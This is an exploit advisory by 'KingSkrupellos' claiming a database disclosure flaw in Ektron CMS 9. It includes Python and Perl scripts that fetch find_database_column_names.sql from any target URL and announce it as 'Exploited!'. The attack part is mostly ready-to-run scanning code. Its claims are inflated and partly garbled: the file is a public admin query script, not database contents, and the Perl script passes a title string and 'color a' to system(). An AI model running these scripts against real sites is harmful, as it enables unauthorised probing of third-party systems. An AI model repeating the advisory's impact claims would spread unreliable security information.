###########################################################################

# Exploit Title : Ektron CMS 9 Database Disclosure Exploit
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/04/2019
# Vendor Homepage : ektron.com
episerver.com/products/platform/ektron/
# Software Download Link : github.com/whanrott/Ektron_sql_scripts/archive/master.zip
# Software Information Link : ektron.com/Products/Web-CMS/Web-Content-Management/
github.com/whanrott/Ektron_sql_scripts
cmsmatrix.org/matrix/cms-matrix/ektron-cms
# Software Affected Versions : 8.6 and 9
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###########################################################################

# Description about Software :
***************************
Ektron Web Content Management System (CMS) is the platform of choice for more 

than 3,700 global companies. 

Episerver Digital Experience Cloud™ The only platform that puts Digital Content, Commerce 

and Marketing in one screen.

Create, deploy, and manage enterprise-scale, global, personalized websites. Empower users, 

designers, and developers to work in parallel, speeding time-to-web. Make content updates 

directly on the site using an intuitive browser-based editor. Create site wireframes, ensuring global 

brand consistency. Speed development using Ektron's Framework API, pre-built 

.NET controls, and standard development tools like Microsoft Visual Studio.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* This information is highly sensitive and should not be found on a production system.

Information :
*************
Ektron SQL Scripts :

Simple SQL scripts for examining the database of Ektron CMS v9.

Scripts
Script Name	Purpose
find_all_users.sql	
List all users with last login date

find_content_and_folder.sql
List all content, showing folder. Filter by multiple criteria

find_content_history.sql	
Show content item history

find_database_column_names.sql	
query the database structure to find matching tables and column names

find_folder_permissions.sql	
List folder permissions

###########################################################################

Files :
*****
/find_all_users.sql
/find_content_alias_and_template.sql
/find_content_and_folder.sql
/find_content_history.sql
/find_database_column_names.sql
/find_folder_permissions.sql
/find_menu_items.sql
/find_meta_course_accreditation.sql
/find_meta_course_combinations.sql
/find_mismatched_content.sql
/where_is_this_content_used.sql

Information [ find_database_column_names.sql ]
*********************************************
/* look for table column names */

--USE <database name>;

SELECT
		 TABLE_NAME
		,COLUMN_NAME
		,DATA_TYPE
		,CHARACTER_MAXIMUM_LENGTH
FROM
		INFORMATION_SCHEMA.COLUMNS
WHERE
--    COLUMN_NAME LIKE '%%'
--AND TABLE_NAME LIKE '%_tbl'
--AND (TABLE_NAME  LIKE '%%' OR COLUMN_NAME LIKE '%template%')
--AND
      (
        COLUMN_NAME LIKE '%%' OR TABLE_NAME LIKE '%%'
      )
AND COLUMN_NAME LIKE '%%'
AND TABLE_NAME NOT LIKE '%_tracking'
ORDER BY
		TABLE_NAME, COLUMN_NAME
;

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/find_database_column_names.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Ektron CMS V.9 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="find_database_column_names.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/find_database_column_names.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/find_database_column_names.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################